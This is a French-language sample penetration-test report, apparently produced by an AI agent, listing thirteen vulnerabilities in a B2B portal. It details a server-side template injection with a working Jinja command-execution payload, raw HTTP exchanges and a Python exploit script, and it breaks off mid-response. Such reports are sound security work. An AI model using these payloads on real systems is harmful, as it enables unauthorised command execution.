Aller au contenu

Exemple de rapport

Un vrai rapport de pentest, anonymisé.

Voici ce que vous recevez à la fin d’une mission : un rapport complet, issu d’un test réel mené par SpectrAI. Parcourez-le comme le ferait votre équipe.

SpectrAI · Rapport d’exemple

Exemple anonymisé

Audit du portail B2B

Nordvault

Synthèse exécutive

Émis par SpectrAIPréparé pour Nordvault

Action requise

Findings prouvés
13
Preuve
60
Chemins d’attaque prouvés
13
Périmètre testé
1
Profil de sévérité
  • 1 Critique
  • 2 Élevée
  • 10 Moyenne

Cadre et limites de l’évaluation

Autorisation
Attestation d’autorisation acceptée le 11 octobre 2026 à 23:33 UTC (version 2026-10-10).
Mode de test
Externe, sans compte de test : les parcours authentifiés n’ont pas été évalués.
Revue
Chaque finding a été relu avant publication : 13 retenus, aucun rejeté.
Limites
Preuves fournies par l’agent, non rejouées indépendamment ; couverture non mesurée. L’absence de finding démontré n’est pas une attestation de sécurité.

Périmètre testé

1 cible exacte
Domaine parent vérifié
app.nordvault.fr
Décisions demandées
  • Inclushttps://app.nordvault.fr/
Détail du périmètre
Inclus
  • https://app.nordvault.fr/
Exclus
Testés
  • https://app.nordvault.fr/
Observés
  • https://app.nordvault.fr/

Chemins d’attaque prouvés

Projection déterministe des preuves publiées pour la dernière tentative réussie.

13 chemins d’attaque prouvés
  • Critique/newsletter/apercuExécution de commandes sans authentification par injection de modèle dans l’aperçu de newsletter

    Exécution de commandes sans authentification par injection de modèle dans l’aperçu de newsletter

    Cible autorisée exacte: https://app.nordvault.fr/

    1. Point de départ

      Internet

    2. Sous-domaine

      app.nordvault.fr

    3. Point d’accès

      https://app.nordvault.fr/newsletter/apercu

      Hébergé par l’étape précédente

    4. Vulnérabilité

      Exécution de commandes sans authentification par injection de modèle dans l’aperçu de newsletter

      Exposée par l’étape précédente

    Impact

    Le champ modele de POST /newsletter/apercu est interprété comme un modèle Jinja au lieu d’être traité comme une donnée. Un visiteur non authentifié peut y exécuter une commande système, comme le démontre la sortie de id renvoyée par l’application.

    Provenance

    Projection déterministe vérifiée

    Preuves liées

    Requête / réponseArtefact d’exploitationRequête / réponseRequête / réponseRequête / réponseRequête / réponse
    Voir le finding et ses preuves
  • Élevée/api/v1/mot-de-passe/reinitialisationDivulgation du jeton de réinitialisation permettant la prise de contrôle d’un compte

    Divulgation du jeton de réinitialisation permettant la prise de contrôle d’un compte

    Cible autorisée exacte: https://app.nordvault.fr/

    1. Point de départ

      Internet

    2. Sous-domaine

      app.nordvault.fr

    3. Point d’accès

      https://app.nordvault.fr/api/v1/mot-de-passe/reinitialisation

      Hébergé par l’étape précédente

    4. Vulnérabilité

      Divulgation du jeton de réinitialisation permettant la prise de contrôle d’un compte

      Exposée par l’étape précédente

    Impact

    L’API de réinitialisation retourne le code secret dans le champ _debug.jeton de sa réponse non authentifiée. Ce code permet de définir un nouveau mot de passe sans accès à la boîte mail du titulaire.

    Provenance

    Projection déterministe vérifiée

    Preuves liées

    Requête / réponseRequête / réponseRequête / réponseRequête / réponseArtefact d’exploitationRequête / réponse
    Voir le finding et ses preuves
  • Élevée/api/v1/moiÉlévation persistante au rôle administrateur par attribution de masse dans PATCH /api/v1/moi

    Élévation persistante au rôle administrateur par attribution de masse dans PATCH /api/v1/moi

    Cible autorisée exacte: https://app.nordvault.fr/

    1. Point de départ

      Internet

    2. Sous-domaine

      app.nordvault.fr

    3. Point d’accès

      https://app.nordvault.fr/api/v1/moi

      Hébergé par l’étape précédente

    4. Vulnérabilité

      Élévation persistante au rôle administrateur par attribution de masse dans PATCH /api/v1/moi

      Exposée par l’étape précédente

    Impact

    Un compte client auto-inscrit peut transmettre role=admin à la mise à jour de son propre profil. Le serveur persiste ce rôle, émet un nouveau JWT administrateur et autorise ensuite la lecture de la liste des utilisateurs réservée à l’administration.

    Provenance

    Projection déterministe vérifiée

    Preuves liées

    Requête / réponseRequête / réponseRequête / réponseRequête / réponseRequête / réponseArtefact d’exploitation
    Voir le finding et ses preuves
Afficher les 10 autres chemins
  • Moyenne/api/v1/admin/utilisateursAcceptation de JWT non signés permettant l’accès à une route administrateur

    Acceptation de JWT non signés permettant l’accès à une route administrateur

    Cible autorisée exacte: https://app.nordvault.fr/

    1. Point de départ

      Internet

    2. Sous-domaine

      app.nordvault.fr

    3. Point d’accès

      https://app.nordvault.fr/api/v1/admin/utilisateurs

      Hébergé par l’étape précédente

    4. Vulnérabilité

      Acceptation de JWT non signés permettant l’accès à une route administrateur

      Exposée par l’étape précédente

    Impact

    L’API accepte un jeton JWT dont l’en-tête annonce alg: none et dont la signature est absente. Un compte client peut ainsi modifier sa revendication role en admin et accéder à /api/v1/admin/utilisateurs, normalement interdit à ce compte.

    Provenance

    Projection déterministe vérifiée

    Preuves liées

    Requête / réponseArtefact d’exploitation
    Voir le finding et ses preuves
  • Moyenne/api/v1/import-commandesEntités XML externes permettant la lecture d’un fichier local dans l’import des commandes

    Entités XML externes permettant la lecture d’un fichier local dans l’import des commandes

    Cible autorisée exacte: https://app.nordvault.fr/

    1. Point de départ

      Internet

    2. Sous-domaine

      app.nordvault.fr

    3. Point d’accès

      https://app.nordvault.fr/api/v1/import-commandes

      Hébergé par l’étape précédente

    4. Vulnérabilité

      Entités XML externes permettant la lecture d’un fichier local dans l’import des commandes

      Exposée par l’étape précédente

    Impact

    L’API authentifiée POST /api/v1/import-commandes résout une entité XML externe pointant vers un fichier local et en renvoie le contenu dans importees[0].reference. Un compte client créé par l’inscription publique suffit à lire ainsi un fichier accessible au processus serveur.

    Provenance

    Projection déterministe vérifiée

    Preuves liées

    Requête / réponseRequête / réponseRequête / réponseArtefact d’exploitationRequête / réponseRequête / réponse
    Voir le finding et ses preuves
  • Moyenne/.envExposition anonyme de fichiers .env et .git/config contenant des secrets de configuration

    Exposition anonyme de fichiers .env et .git/config contenant des secrets de configuration

    Cible autorisée exacte: https://app.nordvault.fr/

    1. Point de départ

      Internet

    2. Sous-domaine

      app.nordvault.fr

    3. Point d’accès

      https://app.nordvault.fr/.env

      Hébergé par l’étape précédente

    4. Vulnérabilité

      Exposition anonyme de fichiers .env et .git/config contenant des secrets de configuration

      Exposée par l’étape précédente

    Impact

    Le serveur publie directement les fichiers .env et .git/config à tout visiteur non authentifié. Ils révèlent des variables de configuration et une URL de dépôt comportant des identifiants intégrés ; la validité de ces identifiants n'a pas été établie.

    Provenance

    Projection déterministe vérifiée

    Preuves liées

    Artefact d’exploitation
    Voir le finding et ses preuves
  • Moyenne/api/v1/stock?sku=Injection SQL aveugle dans le paramètre sku de /api/v1/stock

    Injection SQL aveugle dans le paramètre sku de /api/v1/stock

    Cible autorisée exacte: https://app.nordvault.fr/

    1. Point de départ

      Internet

    2. Sous-domaine

      app.nordvault.fr

    3. Point d’accès

      https://app.nordvault.fr/api/v1/stock?sku=

      Hébergé par l’étape précédente

    4. Vulnérabilité

      Injection SQL aveugle dans le paramètre sku de /api/v1/stock

      Exposée par l’étape précédente

    Impact

    Le paramètre public sku de /api/v1/stock permet d’injecter une condition SQL et d’en lire le résultat dans en_stock, sans authentification. L’oracle divulgue des attributs d’un produit inactif absent du catalogue et de l’API publique.

    Provenance

    Projection déterministe vérifiée

    Preuves liées

    Artefact d’exploitationRequête / réponseRequête / réponseRequête / réponseRequête / réponseRequête / réponse
    Voir le finding et ses preuves
  • Moyenne/catalogue?categorie=Injection SQL non authentifiée dans le filtre categorie du catalogue

    Injection SQL non authentifiée dans le filtre categorie du catalogue

    Cible autorisée exacte: https://app.nordvault.fr/

    1. Point de départ

      Internet

    2. Sous-domaine

      app.nordvault.fr

    3. Point d’accès

      https://app.nordvault.fr/catalogue?categorie=

      Hébergé par l’étape précédente

    4. Vulnérabilité

      Injection SQL non authentifiée dans le filtre categorie du catalogue

      Exposée par l’étape précédente

    Impact

    Le paramètre categorie de GET /catalogue est inséré dans une requête SQL sans paramétrage. Un visiteur non authentifié peut modifier la condition de sélection et afficher un produit normalement absent du catalogue.

    Provenance

    Projection déterministe vérifiée

    Preuves liées

    Requête / réponseRequête / réponseRequête / réponseRequête / réponseArtefact d’exploitationRequête / réponse
    Voir le finding et ses preuves
  • Moyenne/telechargement?fichier=Lecture arbitraire de fichiers par chemin absolu dans GET /telechargement

    Lecture arbitraire de fichiers par chemin absolu dans GET /telechargement

    Cible autorisée exacte: https://app.nordvault.fr/

    1. Point de départ

      Internet

    2. Sous-domaine

      app.nordvault.fr

    3. Point d’accès

      https://app.nordvault.fr/telechargement?fichier=

      Hébergé par l’étape précédente

    4. Vulnérabilité

      Lecture arbitraire de fichiers par chemin absolu dans GET /telechargement

      Exposée par l’étape précédente

    Impact

    Le paramètre fichier de GET /telechargement accepte un chemin absolu fourni par un visiteur non authentifié. Le téléchargement peut ainsi sortir du répertoire des documents et lire des fichiers de configuration de l’application.

    Provenance

    Projection déterministe vérifiée

    Preuves liées

    Requête / réponseRequête / réponseArtefact d’exploitationRequête / réponseRequête / réponseRequête / réponse
    Voir le finding et ses preuves
  • Moyenne/api/v1/panier/validerPrix du panier contrôlable par le client lors de sa validation

    Prix du panier contrôlable par le client lors de sa validation

    Cible autorisée exacte: https://app.nordvault.fr/

    1. Point de départ

      Internet

    2. Sous-domaine

      app.nordvault.fr

    3. Point d’accès

      https://app.nordvault.fr/api/v1/panier/valider

      Hébergé par l’étape précédente

    4. Vulnérabilité

      Prix du panier contrôlable par le client lors de sa validation

      Exposée par l’étape précédente

    Impact

    La validation du panier accepte le champ non documenté prix fourni dans chaque ligne et l'utilise à la place du tarif du catalogue. Un client authentifié obtient ainsi une réponse statut: validee pour un article facturé à 0 au lieu de 5.9.

    Provenance

    Projection déterministe vérifiée

    Preuves liées

    Artefact d’exploitationRequête / réponseRequête / réponseRequête / réponseRequête / réponseRequête / réponse
    Voir le finding et ses preuves
  • Moyenne/backup/nova-2024-03.sql.bakSauvegarde SQL contenant des comptes accessible sans authentification dans /backup/

    Sauvegarde SQL contenant des comptes accessible sans authentification dans /backup/

    Cible autorisée exacte: https://app.nordvault.fr/

    1. Point de départ

      Internet

    2. Sous-domaine

      app.nordvault.fr

    3. Point d’accès

      https://app.nordvault.fr/backup/nova-2024-03.sql.bak

      Hébergé par l’étape précédente

    4. Vulnérabilité

      Sauvegarde SQL contenant des comptes accessible sans authentification dans /backup/

      Exposée par l’étape précédente

    Impact

    Le fichier /backup/nova-2024-03.sql.bak est téléchargeable sans session depuis un index public. Il expose la structure de la table users et cinq enregistrements comportant notamment des adresses électroniques, des empreintes de mots de passe et des rôles.

    Provenance

    Projection déterministe vérifiée

    Preuves liées

    Requête / réponseRequête / réponseArtefact d’exploitation
    Voir le finding et ses preuves
  • Moyenne/aideXSS DOM dans le fragment d’URL de /aide

    XSS DOM dans le fragment d’URL de /aide

    Cible autorisée exacte: https://app.nordvault.fr/

    1. Point de départ

      Internet

    2. Sous-domaine

      app.nordvault.fr

    3. Point d’accès

      https://app.nordvault.fr/aide

      Hébergé par l’étape précédente

    4. Vulnérabilité

      XSS DOM dans le fragment d’URL de /aide

      Exposée par l’étape précédente

    Impact

    La page publique /aide insère le fragment d’URL décodé directement dans innerHTML. Un lien spécialement construit exécute ainsi du JavaScript dans le navigateur du visiteur qui l’ouvre.

    Provenance

    Projection déterministe vérifiée

    Preuves liées

    Artefact d’exploitation
    Voir le finding et ses preuves
  • Moyenne/rechercheXSS réfléchie dans le paramètre q de /recherche

    XSS réfléchie dans le paramètre q de /recherche

    Cible autorisée exacte: https://app.nordvault.fr/

    1. Point de départ

      Internet

    2. Sous-domaine

      app.nordvault.fr

    3. Point d’accès

      https://app.nordvault.fr/recherche

      Hébergé par l’étape précédente

    4. Vulnérabilité

      XSS réfléchie dans le paramètre q de /recherche

      Exposée par l’étape précédente

    Impact

    La page publique /recherche réinsère le paramètre q sans encodage HTML dans sa réponse. Un lien construit par un attaquant exécute du JavaScript dans le navigateur du visiteur.

    Provenance

    Projection déterministe vérifiée

    Preuves liées

    Requête / réponseRequête / réponseArtefact d’exploitationRequête / réponseRequête / réponse
    Voir le finding et ses preuves

Findings prouvés

13 findings prouvés
  1. Critique

    1. Exécution de commandes sans authentification par injection de modèle dans l’aperçu de newsletter

    https://app.nordvault.fr/newsletter/apercu

    Score CVSS 3.1
    9.8
    Faiblesse (CWE)
    CWE-94
    Catégorie OWASP
    A03 · Injection

    Description

    Le champ modele de POST /newsletter/apercu est interprété comme un modèle Jinja au lieu d’être traité comme une donnée. Un visiteur non authentifié peut y exécuter une commande système, comme le démontre la sortie de id renvoyée par l’application.

    Impact

    L’essai a démontré l’exécution d’une commande arbitraire avec les privilèges du compte serveur www-data (uid=33). Cette capacité compromet la frontière d’exécution de l’application. Aucune lecture de donnée privée, exfiltration, modification de fichier ou interruption du service n’a été effectuée.

    Analyse technique

    Le paramètre de formulaire modele est compilé et évalué comme du code de modèle côté serveur. Deux expressions indépendantes, {{7*7}} et {{7*8}}, deviennent respectivement 49 et 56 ; {{7*'7'}} devient 7777777, ce qui correspond à la sémantique de Jinja. L’expression {{cycler.__init__.__globals__.os.popen("id").read()}} atteint les objets Python du moteur, invoque une commande du système d’exploitation et insère sa sortie dans <article><pre>. La réponse présente bien uid=33(www-data), établissant la chaîne entrée contrôlée → évaluation du modèle → commande système → sortie HTTP. La requête n’envoie ni cookie ni jeton d’autorisation.

    Remédiation

    1. Ne jamais compiler ni interpréter la valeur de modele fournie par un visiteur comme source d’un modèle côté serveur ; charger uniquement des modèles fixes et maintenus par l’application, puis transmettre les valeurs utilisateur comme données de contexte. 2. Si l’édition de modèles est réellement nécessaire, limiter cette fonction aux rôles explicitement autorisés et utiliser un langage de substitution strict, sans accès aux attributs Python, aux objets globaux ou à l’exécution de commandes. 3. Ajouter des essais de non-régression pour les expressions arithmétiques et l’accès à cycler, puis appliquer le principe du moindre privilège au processus Web.

    Détails de remédiationEffort estimé: Moyen

    Vecteur CVSS

    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

    Hypothèses de validation

    Le parcours POST /newsletter/apercu est public : les requêtes de démonstration ne contiennent aucun cookie ni en-tête d’autorisation. La commande id est non destructive et son résultat reflète les droits du processus Web, sans démonstration de privilèges système plus élevés.

    Confiance déclarée par l’agent

    Élevée

    Contre-preuve examinée

    L’aperçu applique un encodage HTML à certains caractères de sortie, et la page est servie derrière Cloudflare ; ces contrôles ne bloquent pas l’évaluation Jinja ni l’appel à os.popen, puisque la sortie réelle de id est présente dans une réponse 200. Le formulaire pourrait avoir été prévu pour des variables de substitution, mais la présence de cycler.__init__.__globals__ et l’exécution effective de id dépassent une substitution de données. Les essais ont été effectués sans session ; aucune condition d’authentification n’a été observée sur ce chemin.

    Preuve

    Requête / réponse

    Requête HTTP

    POST /newsletter/apercu HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    Content-Length: 92
    Content-Type: application/x-www-form-urlencoded
    
    sujet=Essai&modele=%7B%7Bcycler.__init__.__globals__.os.popen%28%22id%22%29.read%28%29%7D%7D

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:36:49 GMT
    Content-Type: text/html; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=dfAHoR6XerdaD%2BdFg2eaT5igz1GHPxdzRsf5xk32BFIIb%2Bzlj1wpCxoVdZy6pkIS5v3AUx7TdHNgEjHAolxvqdJWNYdEmtyzzwSTAPQs0lYRV2YwLmamUP00veq21vSW2T4JFw4Xgaqk"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b06a1c84dbea-FRA
    alt-svc: h3=":443"; ma=86400
    Content-Length: 2517
    
    <!doctype html>
    <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Apercu newsletter - Nordvault</title>
    <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style>
    </head><body>
    <header><strong><a href="/">Nordvault</a></strong>
    <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav>
    <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header>
    <main><h1>Apercu</h1><article><pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre></article><p><a href="/newsletter">Modifier</a></p></main>
    <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a>
    <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a>
    <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a>
    <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer>
    <script src="/static/app.js"></script>
    <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b06a1c84dbea',t:'MTc5MTc2MTgwOA=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>

    Artefact d’exploitation

    Reproduction

    1. Envoyer à POST /newsletter/apercu un formulaire non authentifié avec sujet=Essai et modele={{7*8}} ; constater 56 dans l’aperçu.
    2. Remplacer modele par {{7*'7'}} ; constater 7777777 et identifier l’évaluation Jinja.
    3. Remplacer modele par {{cycler.__init__.__globals__.os.popen("id").read()}} ; constater l’identité du processus serveur dans l’aperçu. S’arrêter après cette commande non destructive.

    Artefact d’exploitation

    text/x-shellscript
    import requests
    
    url = "https://app.nordvault.fr/newsletter/apercu"
    for expression in ("{{7*8}}", "{{7*'7'}}", '{{cycler.__init__.__globals__.os.popen("id").read()}}'):
        response = requests.post(url, data={"sujet": "Essai", "modele": expression}, timeout=10, allow_redirects=False)
        print(expression, response.status_code, response.text.split("<article><pre>", 1)[1].split("</pre>", 1)[0])

    Requête / réponse

    Requête HTTP

    POST /newsletter/apercu HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    Content-Length: 36
    Content-Type: application/x-www-form-urlencoded
    
    sujet=Essai&modele=%7B%7B7%2A8%7D%7D

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:36:42 GMT
    Content-Type: text/html; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=jZxF6fWSxRPt0L5gQYXwfGy79LjzloYnGXiLxfIA4FNGs81XiU%2FVvwHyHKT2wItCokpW8wRh2IIHRyahlEtcRBdNzXAEQWVhNqCvKeSBX38U7eRbVoASJObmD%2F%2F8xTU9TIxtUtokCXUy"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b0408e469110-FRA
    alt-svc: h3=":443"; ma=86400
    Content-Length: 2466
    
    <!doctype html>
    <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Apercu newsletter - Nordvault</title>
    <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style>
    </head><body>
    <header><strong><a href="/">Nordvault</a></strong>
    <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav>
    <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header>
    <main><h1>Apercu</h1><article><pre>56</pre></article><p><a href="/newsletter">Modifier</a></p></main>
    <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a>
    <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a>
    <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a>
    <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer>
    <script src="/static/app.js"></script>
    <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b0408e469110',t:'MTc5MTc2MTgwMg=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>

    Requête / réponse

    Requête HTTP

    POST /newsletter/apercu HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    Content-Length: 42
    Content-Type: application/x-www-form-urlencoded
    
    sujet=Essai&modele=Bonjour+%7B%7Bnom%7D%7D

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:36:42 GMT
    Content-Type: text/html; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=2D4cw026SQ1%2BBF9nSjmTgazNhDmKC6h9pSQvhpcqvMgOHC8%2FuaDs%2FHWpEvCAAKd9533DUBQbIgHMqUfxRRd03JNDKJv6Bw8XRIZ8kpqcq9c86oX1HCZBZ45WEFQjNcIU7pzQOjMlsxlo"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b03f1db31e52-FRA
    alt-svc: h3=":443"; ma=86400
    Content-Length: 2472
    
    <!doctype html>
    <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Apercu newsletter - Nordvault</title>
    <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style>
    </head><body>
    <header><strong><a href="/">Nordvault</a></strong>
    <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav>
    <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header>
    <main><h1>Apercu</h1><article><pre>Bonjour </pre></article><p><a href="/newsletter">Modifier</a></p></main>
    <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a>
    <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a>
    <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a>
    <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer>
    <script src="/static/app.js"></script>
    <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b03f1db31e52',t:'MTc5MTc2MTgwMg=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>

    Requête / réponse

    Requête HTTP

    POST /newsletter/apercu HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    Content-Length: 42
    Content-Type: application/x-www-form-urlencoded
    
    sujet=Essai&modele=%7B%7B7%2A%277%27%7D%7D

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:36:42 GMT
    Content-Type: text/html; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=eTm6yjf5dtblbVd28vnopix4ByBR%2FNZp9heDG6%2BVtn5BwfhpAGk3DPhpgYEVVTqQaBdOuKvQOx0tcirlGr5Fuh5c5e4N9NQXUmJ8sv3dLhNawOQDq2YBPB5msri4ynneqmzDVLGSejdq"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b04118c1d2ab-FRA
    alt-svc: h3=":443"; ma=86400
    Content-Length: 2471
    
    <!doctype html>
    <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Apercu newsletter - Nordvault</title>
    <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style>
    </head><body>
    <header><strong><a href="/">Nordvault</a></strong>
    <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav>
    <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header>
    <main><h1>Apercu</h1><article><pre>7777777</pre></article><p><a href="/newsletter">Modifier</a></p></main>
    <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a>
    <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a>
    <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a>
    <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer>
    <script src="/static/app.js"></script>
    <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b04118c1d2ab',t:'MTc5MTc2MTgwMg=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>

    Requête / réponse

    Requête HTTP

    POST /newsletter/apercu HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    Content-Length: 36
    Content-Type: application/x-www-form-urlencoded
    
    sujet=Essai&modele=%7B%7B7%2A7%7D%7D

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:36:42 GMT
    Content-Type: text/html; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
